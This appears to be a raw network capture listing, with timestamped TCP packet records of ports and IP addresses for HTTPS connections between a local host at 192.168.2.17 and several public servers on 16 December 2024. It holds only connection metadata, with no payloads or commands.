Dec 16, 2024 18:45:38.234406948 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:38.236829996 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.237171888 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:38.243052006 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.243191004 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:38.248979092 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.249110937 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:38.254940987 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.255081892 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:38.257637024 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.257812977 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:38.262921095 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.263050079 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:38.265830994 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.266228914 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:38.270971060 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.271202087 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:38.275538921 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.275831938 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:38.280452967 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.280597925 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:38.282352924 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.282551050 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:38.283911943 CET	49719	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:45:38.283932924 CET	443	49719	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:38.285399914 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.285803080 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:38.288652897 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.289102077 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:38.290469885 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.290620089 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:38.293592930 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.293736935 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:38.296180964 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.296487093 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:38.299329996 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.300086021 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:38.302603960 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.302757978 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:38.304438114 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.304758072 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:38.307908058 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.308063984 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:38.310801029 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.310960054 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:38.312618971 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.312696934 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:38.315665960 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.315846920 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:38.319019079 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.319154978 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:38.414273024 CET	443	49741	142.250.181.68	192.168.2.17
Dec 16, 2024 18:45:38.414356947 CET	443	49741	142.250.181.68	192.168.2.17
Dec 16, 2024 18:45:38.414547920 CET	49741	443	192.168.2.17	142.250.181.68
Dec 16, 2024 18:45:38.425246954 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.425259113 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.425278902 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.426290035 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:38.426326036 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.427093029 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:38.431569099 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.434392929 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:38.441644907 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.441665888 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.441776037 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:38.441776037 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:38.441791058 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.441910028 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:38.450774908 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.450794935 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.450942993 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:38.450963020 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.451119900 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:38.459911108 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.459930897 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.460033894 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:38.460064888 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.463118076 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:38.468511105 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.468529940 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.468652964 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:38.468652964 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:38.468717098 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.469783068 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:38.477675915 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.477698088 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.480114937 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:38.480139017 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.484105110 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:38.485735893 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.485757113 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.485860109 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:38.485861063 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:38.485876083 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.486128092 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:38.613440990 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.613465071 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.613625050 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:38.613648891 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.613814116 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:38.620316982 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.620338917 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.620421886 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:38.620431900 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.620590925 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:38.628104925 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.628124952 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.628225088 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:38.628225088 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:38.628236055 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.628911972 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:38.635876894 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.635896921 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.636003971 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:38.636003971 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:38.636013985 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.636651993 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:38.643726110 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.643745899 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.643862009 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:38.643871069 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.643955946 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:38.651087999 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.651115894 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.651195049 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:38.651227951 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.651257992 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:38.651753902 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:38.654628038 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.654757023 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.654786110 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:38.654936075 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:38.655092001 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:38.655112982 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.683290958 CET	49741	443	192.168.2.17	142.250.181.68
Dec 16, 2024 18:45:38.683324099 CET	443	49741	142.250.181.68	192.168.2.17
Dec 16, 2024 18:45:38.826112032 CET	49774	443	192.168.2.17	151.101.66.137
Dec 16, 2024 18:45:38.826148987 CET	443	49774	151.101.66.137	192.168.2.17
Dec 16, 2024 18:45:38.826239109 CET	49774	443	192.168.2.17	151.101.66.137
Dec 16, 2024 18:45:38.826448917 CET	49774	443	192.168.2.17	151.101.66.137
Dec 16, 2024 18:45:38.826463938 CET	443	49774	151.101.66.137	192.168.2.17
Dec 16, 2024 18:45:40.040750027 CET	443	49774	151.101.66.137	192.168.2.17
Dec 16, 2024 18:45:40.041057110 CET	49774	443	192.168.2.17	151.101.66.137
Dec 16, 2024 18:45:40.041075945 CET	443	49774	151.101.66.137	192.168.2.17
Dec 16, 2024 18:45:40.042237043 CET	443	49774	151.101.66.137	192.168.2.17
Dec 16, 2024 18:45:40.042412043 CET	49774	443	192.168.2.17	151.101.66.137
Dec 16, 2024 18:45:40.043454885 CET	49774	443	192.168.2.17	151.101.66.137
Dec 16, 2024 18:45:40.043530941 CET	443	49774	151.101.66.137	192.168.2.17
Dec 16, 2024 18:45:40.043665886 CET	49774	443	192.168.2.17	151.101.66.137
Dec 16, 2024 18:45:40.043682098 CET	443	49774	151.101.66.137	192.168.2.17
Dec 16, 2024 18:45:40.096290112 CET	49774	443	192.168.2.17	151.101.66.137
Dec 16, 2024 18:45:40.476422071 CET	443	49774	151.101.66.137	192.168.2.17
Dec 16, 2024 18:45:40.523335934 CET	49774	443	192.168.2.17	151.101.66.137
Dec 16, 2024 18:45:40.596471071 CET	443	49774	151.101.66.137	192.168.2.17
Dec 16, 2024 18:45:40.596491098 CET	443	49774	151.101.66.137	192.168.2.17
Dec 16, 2024 18:45:40.596517086 CET	443	49774	151.101.66.137	192.168.2.17
Dec 16, 2024 18:45:40.596527100 CET	443	49774	151.101.66.137	192.168.2.17
Dec 16, 2024 18:45:40.596561909 CET	443	49774	151.101.66.137	192.168.2.17
Dec 16, 2024 18:45:40.596617937 CET	49774	443	192.168.2.17	151.101.66.137
Dec 16, 2024 18:45:40.596638918 CET	443	49774	151.101.66.137	192.168.2.17
Dec 16, 2024 18:45:40.596676111 CET	49774	443	192.168.2.17	151.101.66.137
Dec 16, 2024 18:45:40.596743107 CET	49774	443	192.168.2.17	151.101.66.137
Dec 16, 2024 18:45:40.710984945 CET	443	49774	151.101.66.137	192.168.2.17
Dec 16, 2024 18:45:40.711002111 CET	443	49774	151.101.66.137	192.168.2.17
Dec 16, 2024 18:45:40.711067915 CET	443	49774	151.101.66.137	192.168.2.17
Dec 16, 2024 18:45:40.711121082 CET	49774	443	192.168.2.17	151.101.66.137
Dec 16, 2024 18:45:40.711136103 CET	443	49774	151.101.66.137	192.168.2.17
Dec 16, 2024 18:45:40.711170912 CET	49774	443	192.168.2.17	151.101.66.137
Dec 16, 2024 18:45:40.711209059 CET	49774	443	192.168.2.17	151.101.66.137
Dec 16, 2024 18:45:40.860960007 CET	443	49774	151.101.66.137	192.168.2.17
Dec 16, 2024 18:45:40.860991001 CET	443	49774	151.101.66.137	192.168.2.17
Dec 16, 2024 18:45:40.861058950 CET	49774	443	192.168.2.17	151.101.66.137
Dec 16, 2024 18:45:40.861080885 CET	443	49774	151.101.66.137	192.168.2.17
Dec 16, 2024 18:45:40.861114979 CET	49774	443	192.168.2.17	151.101.66.137
Dec 16, 2024 18:45:40.861125946 CET	49774	443	192.168.2.17	151.101.66.137
Dec 16, 2024 18:45:40.890405893 CET	443	49774	151.101.66.137	192.168.2.17
Dec 16, 2024 18:45:40.890434027 CET	443	49774	151.101.66.137	192.168.2.17
Dec 16, 2024 18:45:40.890496969 CET	49774	443	192.168.2.17	151.101.66.137
Dec 16, 2024 18:45:40.890507936 CET	443	49774	151.101.66.137	192.168.2.17
Dec 16, 2024 18:45:40.890561104 CET	49774	443	192.168.2.17	151.101.66.137
Dec 16, 2024 18:45:40.918087006 CET	443	49774	151.101.66.137	192.168.2.17
Dec 16, 2024 18:45:40.918113947 CET	443	49774	151.101.66.137	192.168.2.17
Dec 16, 2024 18:45:40.918194056 CET	49774	443	192.168.2.17	151.101.66.137
Dec 16, 2024 18:45:40.918205023 CET	443	49774	151.101.66.137	192.168.2.17
Dec 16, 2024 18:45:40.918270111 CET	49774	443	192.168.2.17	151.101.66.137
Dec 16, 2024 18:45:40.931731939 CET	443	49774	151.101.66.137	192.168.2.17
Dec 16, 2024 18:45:40.931816101 CET	443	49774	151.101.66.137	192.168.2.17
Dec 16, 2024 18:45:40.931816101 CET	49774	443	192.168.2.17	151.101.66.137
Dec 16, 2024 18:45:40.931855917 CET	49774	443	192.168.2.17	151.101.66.137
Dec 16, 2024 18:45:40.932138920 CET	49774	443	192.168.2.17	151.101.66.137
Dec 16, 2024 18:45:40.932156086 CET	443	49774	151.101.66.137	192.168.2.17
Dec 16, 2024 18:45:41.060391903 CET	49772	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:41.103367090 CET	443	49772	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:41.107762098 CET	49775	443	192.168.2.17	151.101.194.137
Dec 16, 2024 18:45:41.107827902 CET	443	49775	151.101.194.137	192.168.2.17
Dec 16, 2024 18:45:41.107917070 CET	49775	443	192.168.2.17	151.101.194.137
Dec 16, 2024 18:45:41.108109951 CET	49775	443	192.168.2.17	151.101.194.137
Dec 16, 2024 18:45:41.108141899 CET	443	49775	151.101.194.137	192.168.2.17
Dec 16, 2024 18:45:41.404491901 CET	443	49772	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:41.404597998 CET	443	49772	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:41.404723883 CET	49772	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:41.405369997 CET	49772	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:41.405414104 CET	443	49772	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:41.543937922 CET	49777	443	192.168.2.17	35.190.80.1
Dec 16, 2024 18:45:41.543991089 CET	443	49777	35.190.80.1	192.168.2.17
Dec 16, 2024 18:45:41.544300079 CET	49777	443	192.168.2.17	35.190.80.1
Dec 16, 2024 18:45:41.544521093 CET	49777	443	192.168.2.17	35.190.80.1
Dec 16, 2024 18:45:41.544542074 CET	443	49777	35.190.80.1	192.168.2.17
Dec 16, 2024 18:45:42.335273981 CET	443	49775	151.101.194.137	192.168.2.17
Dec 16, 2024 18:45:42.335608006 CET	49775	443	192.168.2.17	151.101.194.137
Dec 16, 2024 18:45:42.335670948 CET	443	49775	151.101.194.137	192.168.2.17
Dec 16, 2024 18:45:42.337131023 CET	443	49775	151.101.194.137	192.168.2.17
Dec 16, 2024 18:45:42.337558985 CET	49775	443	192.168.2.17	151.101.194.137
Dec 16, 2024 18:45:42.337558985 CET	49775	443	192.168.2.17	151.101.194.137
Dec 16, 2024 18:45:42.337661028 CET	443	49775	151.101.194.137	192.168.2.17
Dec 16, 2024 18:45:42.337694883 CET	49775	443	192.168.2.17	151.101.194.137
Dec 16, 2024 18:45:42.379378080 CET	443	49775	151.101.194.137	192.168.2.17
Dec 16, 2024 18:45:42.379436016 CET	49775	443	192.168.2.17	151.101.194.137
Dec 16, 2024 18:45:42.379468918 CET	443	49775	151.101.194.137	192.168.2.17
Dec 16, 2024 18:45:42.427376986 CET	49775	443	192.168.2.17	151.101.194.137
Dec 16, 2024 18:45:42.768565893 CET	443	49775	151.101.194.137	192.168.2.17
Dec 16, 2024 18:45:42.770689964 CET	443	49777	35.190.80.1	192.168.2.17
Dec 16, 2024 18:45:42.774854898 CET	49777	443	192.168.2.17	35.190.80.1
Dec 16, 2024 18:45:42.774887085 CET	443	49777	35.190.80.1	192.168.2.17
Dec 16, 2024 18:45:42.776089907 CET	443	49777	35.190.80.1	192.168.2.17
Dec 16, 2024 18:45:42.777264118 CET	49777	443	192.168.2.17	35.190.80.1
Dec 16, 2024 18:45:42.777264118 CET	49777	443	192.168.2.17	35.190.80.1
Dec 16, 2024 18:45:42.777350903 CET	443	49777	35.190.80.1	192.168.2.17
Dec 16, 2024 18:45:42.777493954 CET	49777	443	192.168.2.17	35.190.80.1
Dec 16, 2024 18:45:42.777509928 CET	443	49777	35.190.80.1	192.168.2.17
Dec 16, 2024 18:45:42.825295925 CET	49777	443	192.168.2.17	35.190.80.1
Dec 16, 2024 18:45:42.825325012 CET	49775	443	192.168.2.17	151.101.194.137
Dec 16, 2024 18:45:42.888946056 CET	443	49775	151.101.194.137	192.168.2.17
Dec 16, 2024 18:45:42.888958931 CET	443	49775	151.101.194.137	192.168.2.17
Dec 16, 2024 18:45:42.888998032 CET	443	49775	151.101.194.137	192.168.2.17
Dec 16, 2024 18:45:42.889015913 CET	443	49775	151.101.194.137	192.168.2.17
Dec 16, 2024 18:45:42.889030933 CET	443	49775	151.101.194.137	192.168.2.17
Dec 16, 2024 18:45:42.889048100 CET	49775	443	192.168.2.17	151.101.194.137
Dec 16, 2024 18:45:42.889086962 CET	443	49775	151.101.194.137	192.168.2.17
Dec 16, 2024 18:45:42.889123917 CET	49775	443	192.168.2.17	151.101.194.137
Dec 16, 2024 18:45:42.889153004 CET	49775	443	192.168.2.17	151.101.194.137
Dec 16, 2024 18:45:42.998944044 CET	443	49775	151.101.194.137	192.168.2.17
Dec 16, 2024 18:45:42.998955011 CET	443	49775	151.101.194.137	192.168.2.17
Dec 16, 2024 18:45:42.998999119 CET	443	49775	151.101.194.137	192.168.2.17
Dec 16, 2024 18:45:42.999011993 CET	443	49775	151.101.194.137	192.168.2.17
Dec 16, 2024 18:45:42.999046087 CET	49775	443	192.168.2.17	151.101.194.137
Dec 16, 2024 18:45:42.999073982 CET	443	49775	151.101.194.137	192.168.2.17
Dec 16, 2024 18:45:42.999090910 CET	49775	443	192.168.2.17	151.101.194.137
Dec 16, 2024 18:45:42.999134064 CET	49775	443	192.168.2.17	151.101.194.137
Dec 16, 2024 18:45:43.048028946 CET	443	49775	151.101.194.137	192.168.2.17
Dec 16, 2024 18:45:43.048041105 CET	443	49775	151.101.194.137	192.168.2.17
Dec 16, 2024 18:45:43.048072100 CET	443	49775	151.101.194.137	192.168.2.17
Dec 16, 2024 18:45:43.048167944 CET	49775	443	192.168.2.17	151.101.194.137
Dec 16, 2024 18:45:43.048237085 CET	443	49775	151.101.194.137	192.168.2.17
Dec 16, 2024 18:45:43.048273087 CET	49775	443	192.168.2.17	151.101.194.137
Dec 16, 2024 18:45:43.048320055 CET	49775	443	192.168.2.17	151.101.194.137
Dec 16, 2024 18:45:43.172380924 CET	443	49775	151.101.194.137	192.168.2.17
Dec 16, 2024 18:45:43.172406912 CET	443	49775	151.101.194.137	192.168.2.17
Dec 16, 2024 18:45:43.172635078 CET	49775	443	192.168.2.17	151.101.194.137
Dec 16, 2024 18:45:43.172691107 CET	443	49775	151.101.194.137	192.168.2.17
Dec 16, 2024 18:45:43.172781944 CET	49775	443	192.168.2.17	151.101.194.137
Dec 16, 2024 18:45:43.199790001 CET	443	49775	151.101.194.137	192.168.2.17
Dec 16, 2024 18:45:43.199811935 CET	443	49775	151.101.194.137	192.168.2.17
Dec 16, 2024 18:45:43.199902058 CET	49775	443	192.168.2.17	151.101.194.137
Dec 16, 2024 18:45:43.199912071 CET	443	49775	151.101.194.137	192.168.2.17
Dec 16, 2024 18:45:43.199968100 CET	49775	443	192.168.2.17	151.101.194.137
Dec 16, 2024 18:45:43.211406946 CET	443	49775	151.101.194.137	192.168.2.17
Dec 16, 2024 18:45:43.211492062 CET	443	49775	151.101.194.137	192.168.2.17
Dec 16, 2024 18:45:43.211515903 CET	49775	443	192.168.2.17	151.101.194.137
Dec 16, 2024 18:45:43.211569071 CET	49775	443	192.168.2.17	151.101.194.137
Dec 16, 2024 18:45:43.211785078 CET	49775	443	192.168.2.17	151.101.194.137
Dec 16, 2024 18:45:43.211802006 CET	443	49775	151.101.194.137	192.168.2.17
Dec 16, 2024 18:45:43.220357895 CET	443	49777	35.190.80.1	192.168.2.17
Dec 16, 2024 18:45:43.220468044 CET	443	49777	35.190.80.1	192.168.2.17
Dec 16, 2024 18:45:43.220531940 CET	49777	443	192.168.2.17	35.190.80.1
Dec 16, 2024 18:45:43.220750093 CET	49777	443	192.168.2.17	35.190.80.1
Dec 16, 2024 18:45:43.220782995 CET	443	49777	35.190.80.1	192.168.2.17
Dec 16, 2024 18:45:43.221512079 CET	49778	443	192.168.2.17	35.190.80.1
Dec 16, 2024 18:45:43.221564054 CET	443	49778	35.190.80.1	192.168.2.17
Dec 16, 2024 18:45:43.221659899 CET	49778	443	192.168.2.17	35.190.80.1
Dec 16, 2024 18:45:43.221993923 CET	49778	443	192.168.2.17	35.190.80.1
Dec 16, 2024 18:45:43.222023964 CET	443	49778	35.190.80.1	192.168.2.17
Dec 16, 2024 18:45:44.326097965 CET	49779	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:44.326155901 CET	443	49779	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:44.326252937 CET	49779	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:44.326554060 CET	49779	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:44.326571941 CET	443	49779	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:44.439687014 CET	443	49778	35.190.80.1	192.168.2.17
Dec 16, 2024 18:45:44.440063953 CET	49778	443	192.168.2.17	35.190.80.1
Dec 16, 2024 18:45:44.440130949 CET	443	49778	35.190.80.1	192.168.2.17
Dec 16, 2024 18:45:44.441262960 CET	443	49778	35.190.80.1	192.168.2.17
Dec 16, 2024 18:45:44.441761971 CET	49778	443	192.168.2.17	35.190.80.1
Dec 16, 2024 18:45:44.441852093 CET	49778	443	192.168.2.17	35.190.80.1
Dec 16, 2024 18:45:44.441864014 CET	443	49778	35.190.80.1	192.168.2.17
Dec 16, 2024 18:45:44.441943884 CET	443	49778	35.190.80.1	192.168.2.17
Dec 16, 2024 18:45:44.491369009 CET	49778	443	192.168.2.17	35.190.80.1
Dec 16, 2024 18:45:44.903196096 CET	443	49778	35.190.80.1	192.168.2.17
Dec 16, 2024 18:45:44.903428078 CET	443	49778	35.190.80.1	192.168.2.17
Dec 16, 2024 18:45:44.903630972 CET	49778	443	192.168.2.17	35.190.80.1
Dec 16, 2024 18:45:44.903630972 CET	49778	443	192.168.2.17	35.190.80.1
Dec 16, 2024 18:45:44.903631926 CET	49778	443	192.168.2.17	35.190.80.1
Dec 16, 2024 18:45:45.576172113 CET	443	49697	20.190.177.82	192.168.2.17
Dec 16, 2024 18:45:45.576345921 CET	49697	443	192.168.2.17	20.190.177.82
Dec 16, 2024 18:45:45.576435089 CET	49697	443	192.168.2.17	20.190.177.82
Dec 16, 2024 18:45:45.576435089 CET	49697	443	192.168.2.17	20.190.177.82
Dec 16, 2024 18:45:45.698302984 CET	443	49697	20.190.177.82	192.168.2.17
Dec 16, 2024 18:45:45.698323011 CET	443	49697	20.190.177.82	192.168.2.17
Dec 16, 2024 18:45:45.821162939 CET	443	49779	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:45.821970940 CET	49779	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:45.822046041 CET	443	49779	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:45.823092937 CET	443	49779	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:45.823177099 CET	49779	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:45.827152014 CET	49779	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:45.827228069 CET	443	49779	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:45.828758001 CET	49779	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:45.828778028 CET	443	49779	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:45.869679928 CET	49779	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:46.277462959 CET	443	49779	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:46.277595043 CET	443	49779	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:46.277679920 CET	443	49779	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:46.277683020 CET	49779	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:46.277725935 CET	443	49779	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:46.277779102 CET	49779	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:46.277801991 CET	443	49779	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:46.290411949 CET	443	49779	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:46.290497065 CET	49779	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:46.290509939 CET	443	49779	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:46.290540934 CET	443	49779	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:46.290594101 CET	49779	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:46.298919916 CET	443	49779	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:46.307184935 CET	443	49779	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:46.307276964 CET	49779	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:46.307310104 CET	443	49779	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:46.347341061 CET	49779	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:46.397331953 CET	443	49779	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:46.442323923 CET	49779	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:46.442364931 CET	443	49779	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:46.473051071 CET	443	49779	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:46.473128080 CET	49779	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:46.473150969 CET	443	49779	104.18.161.117	192.168.2.17
